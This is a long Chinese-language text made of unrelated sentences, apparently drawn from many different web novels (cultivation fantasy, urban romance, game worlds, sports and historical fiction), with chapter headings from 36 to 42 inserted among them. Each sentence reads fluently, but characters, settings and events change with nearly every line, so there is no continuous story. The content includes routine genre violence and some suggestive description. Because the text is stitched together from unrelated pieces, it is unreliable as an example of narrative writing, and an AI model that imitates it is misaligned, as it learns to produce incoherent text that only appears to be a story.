雪夜,又是雪夜,每次受重伤的时候都是雪夜!宋端午心里如是想道。十几年前被母黑瞎子差点拍死的是在雪夜,如今被爱情伤到刻骨铭心的仍旧是在雪夜。 不过对于叶大少的好意,宋端午也仅仅是心领了,好在叶志坚也沒有强人所难。既然正主儿都沒打算去,叶志坚索性在把宋端午送回了友谊宾馆之后,就返回到了自己下榻王府半岛不提。 “这高山暴熊是在找死吗?竟然敢以肉身对抗核电离子墙。”锦城第二大家族管家的掌控者嗤笑道。 这音乐在重九斤听来和哀乐差不多,听多了瘆得慌,尤其是在渡口村这样死灵气息本就浓烈的地方。 “许神医,我想到还有事情,就不打扰你们了,如果有消息的话,还麻烦许神医告知下。”虽然脸上表现的很镇定,但内心已经焦躁起来了。 苏堇面无表情地回到座位,发现桌面不知是谁用涂改液写了垃圾两个字,桌堂里也被人扔满了纸屑。 重九斤再次经历了医生的一系列检查,确定无碍之后被送回病房。 李庆山见到赵长风这一刀就是一势稀松平常的下劈,没有任何的玄妙在其中,不禁皱了皱眉,心中不知不觉的便生起了一丝轻视之心,此时就要提剑格挡,随后马上变招刺在赵长风的胸口处,结束此次比试。 只听三道金铁交击之声传来,三道金色剑光被“巨锤”打散,位于其中的汶天星竟毫发无伤。 这个一直是她担心的问题,虽然早就在她是山贼抢劫的时候便和他立下了约定,但是她又不确定谷玉有没有认出她来,如果没有认出来,这些都不作数的。 唐枫怒视面前的三名七阶源士,怒吼一声,其身后的招厄手挥动,两只巨大的手掌在唐枫面前合十击掌,狂暴的灵魂之风猛然袭向湮风源王。 只见数道人影从主席座上跳出,围绕在唐枫与邢阔的四周。数名强者同时运转本源之力,不同颜色的本源之力闪动,唐枫与邢阔对抗产生的余波很好地被这些强者控制在了一定范围之内。 叶空知道着北境的未来,将有一个新的大事件发生,也是双方战争的真正高潮。实际上,前面的战争副本中,两方主要围绕着秘境而争夺,还不是真正的惨烈血战,真正意义上的厮杀血战,得看七大要塞和三大主城的进攻战。 每种剑光交碰后,效果是不一样的。有的一触即灭,有的会稍微僵持,有的会爆发出强大的威力。 星辰公国的领土十分庞大,八个城邦分布于不同的方向,因此,青木城与其他城邦的距离很远,哪怕是最近的雅南城,玩家们徒步而去,最少也要数天时间。 “未知金霞掌教还有什么话说?”苦慈挥手示意舒妃君与萧一鸣退下。 “这种黑色的石头,居然真的可以当木炭燃烧,岂不是说我们可以用它来烧水做饭和取暖了吗?”有人惊喜大叫道。 特别是今后的组队,没有人愿意为了一名自由玩家,而得罪一个二流公会。 “南道友这也不同意,那也不同意,就只能继续动手了。”九皇子再次举起刀来。 尚师徒也只好匆匆忙忙的收回自己的提庐枪,挡在自己的咽喉前面,护住自己的要害。 “这个我就不知道了,因为进入秘境之后我就没见过他。”那弟子说道。 “卧槽,老子愿意,老子就是去。你给我等着吧。”随即薛仁贵走出东郡的行政厅。 “我给自己找了一个更庞大的资本,能打败资本的只有资本。”秦景云说道。 “西八,那个丑八怪哪里有苏青前辈帅气。”苏青的粉丝愤怒的说道。 但是就在他反应的几息时间里面,五柄剑同时从牌匾上飞出,最后盘旋在了男子的身周。 宁千秋脸色铁青,对叫喝声置若罔闻,只森然看着其中一个胖大和尚。 方灵珊此刻内心被深深地触动,心绪复杂而难以言说,只觉得一切尚可以接受,虽然一切可以变得极坏,但同时也可以变得极好,而自己恰恰是喜欢这种感觉的。 这里认识炎于良的人自然不少,从炎于良出现的时候,便一直有上前打招呼。 “你现在的身体完全不适合这样饮食,所以我必须要帮你调整过来。”许星立刻拿走了龙泽明面前的炸串还有酸辣粉。 郑华微微一愣,绑架这事他干过好几次了,各种各样的肉票也见识过不少,吓的浑身发软的,泣不成声的,破口大骂的郑华都见过。 电梯停在了九楼后秦景云径直走向一间套房内,这是一间两居室的套房,是酒店的中等套房,秦景云住在这里的原因是因为这间房间有一个很大的客厅,平时剧组可以在这里商谈拍摄的事情。 第36章 厨房里的捣乱者【求追读!!】 这一下的变故把众人打懵了,很多人不顾军纪官在身边巡视站起身来,紧张的看着台上,其实军纪官早就忘记了维持次序,他们的眼睛也死死的盯着台上的潘星儿。 这才是真正的上古周天星斗大阵,以妖为星君主导,牵引无尽流星下坠,挟无穷天地神威以抗盘古真身,这才是当初巫妖大战时,妖族那周天星斗大阵的真面目 。只可惜,现在的规模和威力,同那东皇帝俊在时差的太远了。 绿色的草原为战场,一望无际的绿色,没有任何障碍阻拦。以至于瑞恩的对手,就在瑞恩视线中,没有任何能够隐藏的地方。 这时,峨眉弃舰强者已经来到神威舰周围,隔着透明的阵幕,祈求的看着飞舰内的峨眉强者以及高层,天佑剑尊看着周围无数峨眉强者,双拳捏得嘎嘣作响。 东方有云,胜败乃兵家常事,龙皇冕下何必动怒?”教皇和颜悦色道,仿佛浑不在意。 “这次给你记了一次功劳,等威武堡事后你就能先分地,到时候一个甲长的位置跑不脱”洪三强出门时,教导官叮嘱道。 短短一瞬间,肖丞想到了许多,绝望悲愤的眼神重新充满了神采变得坚定。 未销毁的证据材料被英国领使馆拍摄保存了起来,这些未销毁的证据材料让英方震惊的之余,也倍感愤怒。 然而它偏偏这么做了,反过来思考,也就是说它不得不挑选这个时间突破,没得选择,错过就失去机会。如此,不是由它自己创造机会,而是他者给予的可能性大大增加。 秋收后的田野,象大战过后的废垒残墟一样,凌乱的没有一点次序。整个的农村,算是暂时地安定了。 这是施铭钢目前需要解决的一个重要的问题,如果不能够解决这问题,自己可就真的是完蛋了。 “请用!”大汉走到夏阳身前,将手中血酒前递,对着夏阳漠然的说道。 看一眼汉森,李子诚朝穆湘玥一笑,没想到自己这边不过才动那个念头,那边就立即有人找了过来,不过自己最好还是静下心来,听这个汉森怎么忽悠自己。 古彪本来以为叶泽涛会主动提出来,没想到竟然是这些人先提出。 感受着空气之中,不断传递而至的汹涌,还有那毫无掩饰的肃杀之意,夏阳却是脸色越渐凝重起来。 当下积极响应二嫂的召唤,姑嫂两个离开客厅,径直去了卧室,将三个大老爷们扔下不管了。 “放心吧,敖汀、九天玄冰凤,只要还未彻底消亡,他们应该会有办法的。”凌风也知道,夏阳心中最纠结难放的是什么,便是劝慰了一句。 “要杀就杀,少费话。”周秀云怒斥道。她后悔自己不谨慎,被这些匪徒活捉。过去都是自己打兵匪,今天却被兵匪绑了起来,真是奇耻大辱。 常听人家说,男人是靠不住的,叶嘉柔总算尝到了这句话的滋味。 何况,妻子柳氏相貌品性没的说,今又求得如此好签,景昊对妻子越发满意,夫妻又是一夜恩爱不提,景昊寻思着什么时候也去灵云寺摇个签才是。 庆丰酒店的老板张庆丰知道褚贞燕和他的人正在他的饭店吃饭。他从二楼下来,去了杨永利。 生命能量对聚灵丹没什么作用,这就得靠剑心的真本事了,先是以少量药材尝试几次,发觉无论用什么手法,那效果似乎都与炼药师公会同等阶的差不多,这样根本没什么优势。 “好,哎,是。”杨昭决定待会儿给师哥打个电话,问问山底下的大学到底是怎么回事。 人鬼殊途, 宿贞又不肯配合, 他的手指虚无地从宿贞冷漠的指间划过去,到底抓了个空。 这让他还能摆出什么表情来?他总不能感动得哭吧?那样……也太可笑了。 陆淮比叶楚高很多,迫使叶楚踮着脚,她离陆淮的耳朵只有几寸的距离。 修宇的目光一直盯着白芊尘,其曼妙的身姿美丽,样貌更是出尘。即便比起南宫若曦,还略微差了一点,但亦有了一股不食人间烟火的气质。 所以为了让他们在这种场合多刷刷脸,韩歌也就勉强一下自己了。 此外,‘天怡院长’在学生里被誉为【最平易近人的院长】,甚至经常在校园中现身,给予普通学生指导与帮助,一点也没有院长的架子。 一旦找到,大神官便会亲自降临,第一时间抹除这本不应该出现于现实世界里的邪物。 为了止住喜欢啃食自己手指的习惯,一颗棒棒糖叼在金太贤的口中。 黄泥印,是根据黄神越章印演变而生,只可使用一次。这坨泥巴刚一沾水,立时黄光暴涨,显出一方巨大的,六面刻有符印的古朴印章。 第37章 罗南在普罗旺斯经历了什么? “是。”谢东敬了一个军礼,随即往靶子那边跑去,虽然谢东现在对叶枫很是佩服,但枪法今天是第一天见识,想要看看叶枫到底是什么厉害的角色,毕竟谢东的枪法也是非常好的。 下半场开场,在队友的掩护下,张云泽连续命中两个左侧弧顶45度三分球,不得不说张云泽的无球跑动,在跟着提姆学习了这么久后,终于发挥出应该有的威力了。 “公子!!!”洛无笙何止是嫌弃这样的第五墨,那叫非常的嫌弃。刚刚她还因为他突然的严肃吓得半死,这倒好,人家是变着法儿拿自己寻乐子呢,看来还是自己的道行太浅。 “哎,义弟,你帮我带回来了我这遗失了的佛珠,算是帮了我一大帮。再说你我结拜,我为兄为长,怎么的都得送你一样东西!”屠龙道人皱着眉头想了想,似乎在思考着送曳戈什么。 本是气势十足的一番话,却是在对上龙胤的眼睛后,不由自主的缩了缩脖子,气势瞬间降低了八分。 洛无笙想要起身去找夜清绝问清楚,问他为什么说这样不清不楚的话。身体的僵硬,思想的迟疑,让洛无笙并没有起身,她就那样躺着。后来的她后悔了,如果可以问清楚,是否还能来得及见最后一面。 台下所有人都惊呆了,连沈凤、梦梵安、萧条子等人也是同样如此。 “没有,我找的就是黄薇,不要黄珊!”这是他们之间约定的暗号,要是华强主动打电话的话,就用现在这样的说法,要是那边先打电话的话,则是说寻找黄天霸。 “卧槽,谁他妈不想活了,”那个黑色劲装男子从地上爬起来,看向那辆撞过来的卡宴,骂骂咧咧道。因为他还没有完全踏上车,只是被惯性给冲了上去,所以只是摔在了地上,并没有受伤。 咂嘴声充满促狭,就林初雪的那目光,换做谁都能看出是什么意思。 黑影的速度微微一滞,随后他竟然不面对秦翎,而是从另一个方向绕着冲了过去,闯入了火柱所在的范围之内。 接着,牛魔王、狮驼王、猕猴王、蛟龙王、鹏魔王也跟着叫起来,最后七十二洞妖王,数十万兵众一起鼓噪。 也就是说风暴起来的时候,那里的慢性神经毒素会被吹散,他们才有时间搭建起科研站。 顿时,只见法斯特的双眼立刻向着华夏国修仙者阵营中望去,原本停放的那辆导弹发射的位置此刻已经空空如也了。 但是,事实上林天魔此刻心中早就悔得肠子都青了,自己当场惹了谁不好,却偏偏惹上了这个煞星。 他可是拳打皇马、脚踢巴萨、屁股下面还坐着米兰和利物浦的男人,怎么也得三千万往上吧? “请等等!”正当张远航想要迈步前往整备区的时候,一直跟随在后面的戈尔丹终于赶到了天空阳台,他看到张远航正准备下去,又看到了脚下一地哀嚎的鹰身人,连忙喊了一声。 “唉,希望这次能帮到他们一点,这样也不枉老身和萧老夫人之间的交情了。”老夫人轻叹了一口气才睡下了。 上中下三品仙器都是仙人自行锻造的武器,威力无穷,北冥雷当初自己锻造的“真龙天剑”就是下品中的下品仙器,最多只能算是半仙器。 “得意什么,甲子丹老夫可是第一个得到的。”韩太平莞尔,随即从口袋中拿出一枚跟袁老一模一样的甲子丹。 晚上吃饭,叶天挑了一些能说的跟毛飞宇说了一些,让他可以回去交差,然后带着三个胖子和汪洋许芳芳给毛飞宇接风。 强撑着说完这句话,安迪少爷灰头土脸的跳下讲台,头也不回的冲出了教室;打算找个地方好好的冷静一下,抚慰自己受伤的心灵。 最后一句,他嘴角弯起了自嘲的弧度,笑容随即僵在脸上,呼吸停滞了下来。 如此,徐无忧真感觉自己仿若回到了从前,刚刚开始修炼,登山的时候。 李方诚综合考虑,接下来的硬战,还是需要他的帮忙,这才把刚上大学的徐良截胡了。 车子继续行驶,气氛开始变得肃杀。原本外围的参天大树忽然完全不见了踪影,地上还有残留的粗壮树桩,这些百年老树全部都被人工砍伐掉了。 五人当中,只有莉莉丝是真的不怕,她甚至希望训导主任罚自己清理游泳池——这样就能很晚回家,甚至于在学校里过夜啦。 四周动静慢慢平静下来,金光退缩回柔晴体内,柔晴缓缓睁开了眼睛,嘴角勾起一抹笑意。 狂风无情涤荡着寂静的楼盘,在漆黑的天幕中划过一阵阵气旋,掀起螺旋向上不断拔高的沙尘,淹没了地面上一栋栋的烂尾建筑。 而同时,传说中的火鸟,似乎就是从刘备张开的双手之间,浴火而生,一飞冲天了。 对方说的是汉语,但就像咬着嘴唇说话,明显汉语水平不过关的外国人说的口音。 “没错,这是死前灵所发的信息,你们看看吧。”男子将怀中的玉简拿了出来,手掌微微一握,将玉简瞬间捏碎。 “你想的太远了。”高飞摇摇头:“帝王绿可不是这么好碰到的。”高飞说的是大实话,帝王绿真的太稀少了,太难找了,想一下子切出十块帝王绿,实在是太难了。 一波鬼兵在被守山大阵震死之后,鬼子继而又发动了第二轮的攻击。接二连三,根本不在乎鬼兵的生死,为的就是把守山大阵给破掉。 第38章 尾声 随着林轩开始突破出窍期,四周因为林轩修炼而本就已经强盛到极致的气息,再度攀升,一个纵横超过万米的漩涡,遮天蔽日,浩浩荡荡,席卷着海量灵力,往中心位置灌注而去。 白司霆看着她,大手抚着她的脸,静静看着她脸上的每一寸,“宝宝,我想永远这样锁着你。”他轻柔的话语里,带着认真。 前任梁王喜好斗蟋蟀,即位梁王之后,他曾经让各地采办上等蟋蟀送往封地。官员为了取悦梁王,都变本加厉地下达任务,一度给百姓造成了很大的负担,民间对他是议论纷纷。 伴随着字体的出现,现场响起了音乐,是她当初在宴会上唱的那一首。 是的,副本世界没有风洞、没有超级计算机等等,但是在力学方面的研究上,副本世界很多方面已经远远的超过了主世界。 也不等沈默说什么,林昭就直接飘到墙壁面前,探手穿过墙壁,开始试探着寻找里面的玩偶。 这些光影交织,构筑成一座宏伟的光桥,架在那里,出现在林轩面前。 “他们不会打扰到你,你可以不用理会,只是保护你的安全。”白司霆低声哄着。 林昭的眼眶红的更加厉害了,这会儿竟也不反抗了,只是眼角滑落了眼泪。 所以假设两人速度一样,步长相等,爆发力方面卡卡罗伊斯,那罗伊斯的步频肯定大于卡卡。 他也不恼,而是从化妆箱里拿出他最满意的口红,一手拿着口红,一手挑起她的下巴。 而如今的这一幕似乎完全颠倒了过来,沐遥一下子就变成了过去那个动力十足的自己,而此刻的自己却对此毫无触动。 是的,无限之庭这边的轮回系统做的就跟游戏似的,大家用的也都是ID而不是真名,楚冠之前给自己起了个名叫未知,结果他自己都把这一码事给忘了,直到现在才在墨玲的提醒下想起来。 只见孙金山把拂尘对着吴应波一扫,拂尘莫名的变得长起来,本来只有两尺长的拂尘,现在越变越长,直接朝着吴应波攻击过来。 钟灿阳蹲下身子双手抱头,一时间泣不成声。陈浩天见状也随他蹲下身来,用手轻抚着他的背,试图抚慰他此时支离破碎的心。 孙琇萤眼巴巴的在门口等着,看见哥哥回来,便伸长了脖子往他身后看。 林玉雪还没毕业就结婚,是他迫不及待想要与她在一起的结果,却没想到竟然让高欧衣对林玉雪有了这么大的偏见。 “你上次说公司有事情,没回来吃饭,但却是和秦娜娜一起去吃晚饭了,你为什么要骗我?”林玉雪一个没忍住,又接着问道。 就以茅酒为例,当前茅酒股价,才几十块钱。而十年后,茅酒的股价在多次分红送股下,股价还是达到了一千多块,甚至两千多块。 黑龙耐萨里奥长达百米的身躯居然被毁掉了三分之一,整个后腿全部消失。 她动不动便会说“杀了便是”,可她从来都没有真的下令杀过谁。 只见擂台之上的苏易,竟然是毫发无损,不仅如此,苏易身前,还站着一个一身紫袍的长者,紫色的长袍无风自动,颇有几分仙风道骨的味道。 这个吻来的太突然,风光还没反应过来的时候,身体就被束缚进一个有力的怀抱,她手中的花灯和糖葫芦都掉在了地上,却无心顾及,所有的理智淹没在这个吻里面,令人悸动的是,这并不是一个温柔的吻。 “当然记得啦,我还记得他们的老板是个凝气修士,能口吐火焰,叫华炎好像!”田光光道。 那些刚刚获胜的佣兵肯定不会想到帝国的骑兵竟然会在黑夜中袭来,在城外营帐的他们只有被屠戮的份,能够躲过灾难的佣兵只有少数。 “萌儿,你至少没有丢你父亲的颜面。”柳四爷依旧板着脸说道。 现在是秋天,窗外的树叶已经枯黄,她并没有什么悲凉之感,反倒是轻松的舒了口气,第一次,她觉得原来死亡也是一件让人值得高兴的事。 “呵。”清玉皮笑肉不笑,一脸我就知道你不是在认真道歉的表情。 她跟梁进的对话已经被素心听到,洛嘉一定也知道,也就用不着隐瞒。 经过杜卡奥的努力,这么多年混在一线的原因,从军中敛财等等,杜卡奥的积蓄十分的丰厚。 性感的大红唇不断呼出的哈气让人知道现场的温度并不是很高,但是周围一阵又一阵的音浪还是让现场的氛围空前高涨。 冀州停战很简单,想要发育,青州也是如此,而且青州的发育非常好,估计这几天就会进入资源州了。 经历过一夜爆红的贾斯丁·比伯却一脸的忧郁,因为YouTube上所有的评论都提及到了一个歌坛的大佬。 当初购买这块地因为溢价不少,所以美莱地产买完这块地,几乎花光了公司的所有储备资金,现在看来这一赌很值得,即使按照南山西岸的尾盘价格销售,这个楼盘的利润都可以翻一番。 今时今日,洛嘉不过是用她们的法子还回去了,却招来秦无双的咒骂。 在下方宽阔的战台对立两边,有着不少的座位,不过并没有人敢去落座。 他们都已经受伤,完好的时候都不见得能够离开,又何况是现在。 在这深山中,经过了三天的时间相处,姜妧好歹对刘宁也是有些了解的,哪里还不明白,她问那话是什么意思? 夜幕将他的身影很好的隐藏其中,以至于房中盘膝打坐正在修炼的人儿,根本不知道他的到来。 许慕笑起来,这场破而后立的计划,或许并不是一个糟糕的解决,反而是一个精彩的新开始。 所以被克洛伊培养继承人的爱雅,连她老爹也未必能说动指挥她。 若非为了时凌一,他才不会出现在这里,更不会跟他们坐在一起。 第39章 操心的佐伊 “什么事情?”西门霜问道,她的心里松了口气,既然他有要求的话,那么自己就能够满足他,他也会为自己所用。 我见她这样,心里其实很复杂,不知道该不该在这个时候和他说宝力生前的事情。 就在转角处,打算打个电话给马龙他们,询问现在什么地方的,突然叶枫眉头一皱,一种奇怪的感觉从自己背后油然而生,那种感觉实在是太熟悉了,高手,带着真气的高手,而且不止一个往自己身边扑来。 咔咔咔,随着凌风的发力,石头巨人的身体发出了咔咔的声音,它的一些关节已经出现了裂痕。 这时候时间已经成熟,不过我依旧没有轻举妄动,我在等待,等待她们换班的时候,因为我可以感觉到,她们马上又要换班了。 这个时候,一名身影从裂口中探了出来,身影是名俊俏男子,男子黑色短发,浓眉大眼,眉宇间若隐若现道金色气息,给人种威严不可侵犯的气势。 唐易恒的电话准时地在顾念下车之后响起,好像他在萧景琛的车上安装了千里眼,对萧景琛的一举一动都了如指掌一般。 这孩子要是再不生出来,先不说孩子会有危险,就是唐芸都不一定能平安的活下去。 几千船工在江岸不断的挥手、热泪盈眶,任何言语都无法表达他们此时的心情。 会不会弄脏的就不是军大衣了,而是,让所有人看到花了的裤子? 祁亦涵不悦的睨着她,一副鼻孔示人的高傲姿态,心底冷哼:装什么装,敢跟我抢以深哥哥,看我怎么整你。 “安然,你想清楚了吗?”申屠浩龙看到安然的样子,慢慢的问道。 又从一座山林中走出,穆白终于减缓速度,放松下来,看来应该是已经将毕妍甩掉了。 这里的富商都是他们的摇钱树,这要是跑了,他们的损失不少钱。 穆白露出惊色,这片翠竹林让他心中生出一种莫名的强烈冲动,很明显,这竹林并不简单,是一种稀世宝药,可惜以他储备的药理知识,竟也将其认不出来。 “好。”花极天道。他并不担心巴拉德赖账,巴拉德能以一个青年,将雷弗诺家族隐隐带了起来,靠的不仅仅是决定天赋,也不仅仅是无上的智谋,还有十分的诚信。 两人跟李驸马耶律雨燕说了一声,就跑到下面的耶律鹿鸣哪里去了。 穆白进入其中之后,依如此前,祭出本源之火,沿着洞壁前行,走到与那洞口相对之处,果然看见一道道熟悉印痕。 汤怀瑾是在英国长大的,对法治的概念根深蒂固。国内这几年虽说普法教育做的不错,但是跟完全的法制化还有一段距离。 伊乐正准备将艾米莉亚抓住,还没来得及动手,旁边就走出两个巡警。 那助浪大将曾与幕主交手,最怕修罗剑的威力,自然早早避开。推波大将却妄图抵挡,被三口剑同往中间一铰,电弧迸发,当场化作焦炭。 并且在曹操南下的同时,声称吕布先从丁原,再从董卓,最后听命于王允。徐州堂堂一郡之地,岂可由如此反复无常之人坐镇? 伊乐不禁有些汗颜,想起来舞会那天被英梨梨父亲看到英梨梨压在自己身上,嘴还印着自己的额头。 苏九追上李二的时候已经是在皇宫之外了,此时李二已经是和长孙皇后他们会和了,有着侍卫的保护,那些后宫的嫔妃虽然神色慌张,但是并没有受伤,毕竟郭延川的目标是李二,并没有对他们动手。 “这个自然,上次孙思邈也是这般说的。”萧皇后脸上一喜,连忙道。 大牢内光线偏暗,杨浩一挥手,横刀变成一条隐约不见的暗芒,直取半空中的中年侍卫。 下一个瞬间,李玉芸就向着慕容逸缓缓迈步走去,而慕容逸也向着李玉芸走去,步子虽然慢,但是每一步落下,都好像是跨越了亿万里。 荒谷的寒夜寂静无声,乌恩奇把八面铁剑横在膝前,背靠着巨石暂做休息。幽灵法鲁格则从八面铁剑里飘出来,借着夜色四处巡视,他的精力始终都是那么充沛,因为他早已习惯了片刻也不放松的活法。 “是!”殿中的长老应了一声,然后便是迅速飞掠出了大殿,向着周围诸峰飞去。 看着一步步走过来的花魁,李天脸上的眉头也开始皱的愈发的厉害了。 的确如此,面对那样的宝物,只有强者才有资格拥有,这个是以力量说话的世界。 “我……我这次杀了人,肯定会坐牢的,这一坐,就不知道多年过去了,家里的童养媳也早就人老珠黄,所以我想趁现在把初吻奉献出去,以免未来留下遗憾。”张大猛红着脸哼哼迟迟说。。 “不是要辞职吗?还去上什么班?你就不怕在公司和我搂搂抱抱被你同事发现?”顾宁远勾了勾唇,笑得仿佛一个魔鬼。 “幺妹阿姨?您怎么来了?”猛地瞅到幺妹,嘴巴立刻张大,赶紧扭头看看了周围,接着放下手中的东西,迈开脚步跑过去招呼。 第40章 极品松露 此刻真可谓屋漏偏逢连夜雨,船迟又遇打头风,前有豺狼,后有虎豹,龙不凡与无情二人真可谓在劫难逃了。 龙不凡在修炼的时候时常得遇老者,老者总是不经意的出现,然而说些很莫名的话,这些话总是让自己在静下心来的时候不时的回想,从而令自己的思路畅通无阻,这般下来若是修炼慢了才是怪事。 这二人大多数时候都是在看戏,在一旁也是偶尔才会偷袭,几次合击虽然花费了些能量,但是在随后的时间里,一早就补充了回来。 明眸皓齿!陈真凝视着一道远去的美丽风景线。想了想,还是紧紧跟上。 “这……”被风不凡质问的封翼,此时也不知道该如何说些什么。 “我有这么可笑么?我发现公子你真是个怪人,时而严肃认真,时而疯癫发笑,真是让人摸不着头脑。”刚刚之前温馨的气氛,转眼间就被风不凡给打破了,这让阿冷有些措手不及。 凡事预则立,不预则废。虽说大部分人都能做到,但利令智昏之下又有多少人记得这条。 欧阳长松也是从自己的储物器具里面拿出了一个双层五角的丹炉,品阶比不上刘贤,但是这应该是欧阳长松这个流浪丹师最好的丹炉了。 在整你两下,就连他自己也感到颤抖,就连他自己也感到害怕。但即便这样,他也丝毫不惧,而在他力量的碾压下直接在他一旁那墨家公子已然消散在天地之间。 楚慕玥的一个个消息,报纸上、杂志上和电视机上播放着,早间新闻晚间新闻都是在播放着。 在纪檬的角度看来,神仙姐姐笑的模样简直美呆了,看着看着就会痴迷。 一开始听到的时候温铭还真的以为温瑶受了重伤,而其他人却瞒着他,等他满心慌张地撞进了妹妹的屋子,才发现是虚惊一场。 说完跑到他面前,直接扑进他怀里,两只手从他腰间穿到后面,在他腰上摸了半天,才给他解围裙。 刚进去,就觉得一阵强光袭来,晏娘挡住眼睛,看到前方有一个琉璃制成的亭子,透明的亭身,五彩斑斓的亭盖,被日光一照,将光影投在爬满了山藤的墙面上,化成一片缤纷。 虽然上面的字迹并没有什么重要的信息,但是老伯既然选择了这么一个隐蔽的地方,那自然不想让别人知道。再加上他以后也不会来这里了,所以还是消除的比较好。 因为牵挂着靳蔚墨,这晚颜向暖一直都处在担忧当中无法入睡,早晨外头天亮起时,颜向暖便早起,站在阳台上,面对着东方开始观察天象。 沐芷瞳他们都有各自的事情要做,都需要自己去买一些生活用品,既然商量好了,晚上大家再聚,就晚上再见面了。 乔楚看着男人渐渐离开的背影,先是错愕,接着愤怒和失望,最后又变得垂头丧气。 而除了旋漠之外,沈云悠更是没有想到,夜子轩竟然如此的真人不露相!她还没有反映过来,还没有看清楚到底是怎么回事,夜子轩就已经从椅子上消失不见,到了门口那里。 壮硕男生就像一辆坦克一般,硕大的身子踩在地面上似乎都能传来震动。 “姬宇晨,你欺人太甚,实在是不知死活!”见到姬宇晨竟然只是派出一个分身来与自己战斗,燕南顿时被气得鼻子冒烟。 要知道能开辟‘洞’府的修士,最低也要金丹期的修为,而且只能开辟一般的‘洞’府。 公孙听了张扬的话后,便和子鹰坐了下来,各自倒了一杯清茶,对着张扬说道。 绿灯亮起,叶辰踩下油门,前面一个没看清从哪里冲出来的汽车突然掠过正中的斑马线,直接朝着路口拐弯处的一棵粗壮的梧桐树撞了过去。 “呵呵!”杜均点点头,又笑了笑,却是让陆尘有些不自在,心想这老头不会发现了什么吧。 赵铭不由的翻了翻白眼,明显是被龙啸说大了痛楚,也没搭理龙啸,就朝着张扬走来。 没有人回答,正当木晚晴泄气的时候,屋里传出了一阵笛声,同时,树林里响起了好一阵的窸窣声。 其实说起来,有时候爱情就是这样,朦朦胧胧,似乎永远都带着面纱一般,让你看不清,也摸不透,可也正是因为如此,才会让人心神牵挂,让人欲罢不能,或许爱情的魅力本身就在于幸福与痛苦之间。 林无尘的眉头立即微微皱起,随即让对方详细说说,对方知道的好像也不多,没说出个所以然来,只说王家突然来了两个神秘人,这会儿王家父子俩已经都被他们给控制住了。 在她看来,自己都示好了,对方还这么不识抬举,那就太过分了。 诡异模糊的声音再次从门外传来,吴丹到现在也不知道门外的是人是鬼,目前完全被它牵着鼻子走。 来了有一段时日,她都未与他有什么进展——她心里也急,总觉得如果再不做点什么,势必要被他忘到脑后。 那里的修士全部眼犯花痴,在富江的耳语之中拿着武器冲向了其余的修士。 第41章 慷慨的有钱人 许是觉得自己太孟浪,太不矜持,脸上瞬间泛起一陀红晕,忍住羞意,打着着陈铮周身上下。 可当天生露出本来面貌,人们看到这剑眉星目的俊朗模样,又打消了之前所有的怀疑,甚至因此感到内疚。 她就是担心自己在红毯上面展现不出最好的自己,所以不停的照镜子。 挪威史诗号游轮的船长和大副商量了半天,因为昨天的暴风雨的事情。 有机会获得这两项奖项的演员还有剧组都打足了精神,准备迎接属于自己的时刻。 她们穿得都是比较少的,偏偏身材又好,一扭动起来那柔软纤细的腰肢和丰满的双峰让秦冥他们看得没不胜收。 能够将规模做到这么大,其背后的势力肯定无法想象,最起码有不止一家顶尖势力作为靠山。 成始源也听说了王海他们买地的时候和惠达公司的叶辉晁怼了起来。 请白三来给自己工作,这并非李乘脑子一热做出来的决定,而是早就已经计划好的事情。 看到成始源同意了,李力搓着手去通知其他人,雨里面拍戏得做足了准备,不然器材什么的进水的那就麻烦了。 第三个是卡尔瓦多斯,拍出来的热轮廓摄影图与前两张有着根本上的区别。 完美的魔鬼身材,白花花的大长腿,白皙的锁骨,还有那微微可见的ru沟无时无刻的都在挑战着赵谦的底线。 耀月将恶魔右腕平伸出去,恶魔右腕瞬间拉长变大,看上去就像一截火车头一样。 不仅是观看直播的水货们不知道,丛林家族的其余人也不知道,甚至是连导演组的所有人也一脸的懵逼。 大概是想象不到这孩子会有如此强大的背景吧,饶是桔梗也不由得怔怔不语。 “我们现在该怎么办?怎么会有这样的高手存在!”一时间,大厅之中,又不由议论纷纷起来,感觉到了一种前所未有的压力,不知道该如何办才好。 看着完全切割出蟹壳的螃蟹,那的确已经不是普通的螃蟹了,而是带着一丝丝匠心的螃蟹刺身,或者是说艺术品了。 两千多位士兵也都跪了一地,心甘情愿等候穆歌发落,穆歌对这个属下很是满意,有武艺有头脑,还懂得进退,知道自己应该做什么,这样的人倒是值得培养。 陈楠也暗暗咬牙,如果是平常,依他的脾气,绝对冲出去跟这修真者大战了。 陈惠红嗑完瓜子,吃完花生,嚼完干果,最后喝两口水溜缝,刚要起身进屋去床上躺着,惠娘就挣扎着爬起来披着棉袄去外面上厕所。 论一身本事,时绍星尤为不足,可身边偏偏有一个功夫了得的月无双。可惜这个时候,月无双在张庚衍眼前无暇分身,秦夜泊在这里也信不过其他人,也只能让祁景安来负责。 里面似乎还夹杂着淡淡的雅香,很是熟悉,不过被浓浓的脂粉气掩盖,若有若无。 大厅的二层、三层仍不时的有惨叫声传来,那是负隅顽抗者临死的叫声。 根据方明华的介绍,这些大都是今天来参加比赛的,林杰微微眯起眼睛扫了几眼,隐约感觉,今天的比赛,恐怕不是很轻松。 如果距离太远,它则只能感应到,那两人有没有生出对它不利的想法。 “你还在这里干嘛?回去吧!”孟新雅忽然转身,白了他一眼,冷声道。 陆从秋笑了几声,抓住他的手腕,用锁链缠了几圈,另一端抛过房梁,最后绕在了柱子上。 “格格。”紫凤再也忍不笑道,这种事紫凤怎么会去问只有紫皇这样的大傻瓜才会这样去做。 “突厥人打到了渭水泾县,这里又丢了贺兰山,难道我大唐又将陷入到被战争所凌虐的时代!”曹铭的双手紧握,指甲已经陷进了手掌中尤不自知,嘴里喃喃自语道。 秦珩闲中无聊似乎想到了什么好点子,想从哥的嘴里套点价值信息。 还真别说,这俩人的形象还真像,穿上正装的芮雯也是属于可爱型,亭亭玉立的大姑娘,漂亮那就不用说了。楚曦亭大概稍微落于下风的应该就只有胸围和臀围了。 心中怀着感激,班杰愧疚不已。“谢谢老大。我会想族人们道歉的。”班杰这样说着,的确!对于长寿的龙族来说十年并不算什么,但是十年用来修炼的话,还是能获得一些成绩的,所以班杰愧疚。 “就喝个味,没那么多穷讲究。这里面装的什么?”雷辰指了指旁边的麻袋。 第42章 拿捏?呵 守财鬼准备用这块墙壁发布公告,张贴一些关键的玩家讯息,建立起一个信息交易平台。 上了围墙,看到围墙上,逐渐完善的护栏,增高,变得更加稳固。 如果,圣地不愿与这些世家子发生冲突,那一定会在秦枫出手的第一时间传音过来。 他们一出来,就手持自动步枪,对着外面的这些人进行无差别扫射。 